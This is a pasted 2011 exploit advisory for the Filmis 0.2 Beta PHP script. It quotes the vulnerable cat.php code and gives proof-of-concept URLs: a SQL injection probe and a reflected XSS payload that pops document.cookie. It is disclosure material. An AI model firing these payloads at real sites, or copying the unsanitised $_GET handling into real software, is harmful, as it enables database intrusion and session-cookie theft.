Guest User

Untitled

a guest
Oct 11th, 2011
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.05 KB | None | 0 0
  1. # Exploit Title: Filmis - Version 0.2 Beta SQL Injection and XSS Vulnerabilities
  2.  
  3. # Author: M.Jock3R
  4.  
  5. # USE MY ONLINE SQLI SCAN TOOL[CODED By ME] : http://dzcode.tk/sql.php (To discover that such exploit)
  6.  
  7. # Download Script(Official site): http://mohshow.fr.cr/forum/downloads/filmis-0.2beta.zip
  8.  
  9. # Category:: webapps
  10.  
  11. # Tested on: windows XP Sp2 FR
  12.  
  13.  
  14.  
  15. ===================================================================================
  16.  
  17.  
  18.  
  19. Vuln file : cat.php
  20.  
  21.  
  22.  
  23. Vuln Code :
  24.  
  25. ----------
  26.  
  27. $idcat = $_GET['id'];
  28.  
  29. $nbitemparpage= "28";
  30.  
  31. if(@$_GET['nb']=="") { $nb = "1"; } else { $nb = $_GET['nb']; }
  32.  
  33. $nbd = ceil(($nb -1) * $nbitemparpage);
  34.  
  35. $amem = mysql_query("SELECT * FROM ".$prefix."film");
  36.  
  37.  
  38.  
  39. Exploit:
  40.  
  41. ---------
  42.  
  43. 1/SQL INJECTION :
  44.  
  45. http://localhost/filmis/cat.php?nb=-1'
  46.  
  47.  
  48.  
  49. 2/XSS :
  50.  
  51. http://localhost/filmis/cat.php?nb=1><script>alert(document.cookie)</script>
  52.  
  53.  
  54.  
  55. ===================================================================================
  56.  
  57.  
  58. # [2011-10-10]
  59.  
Advertisement
Add Comment
Please, Sign In to add comment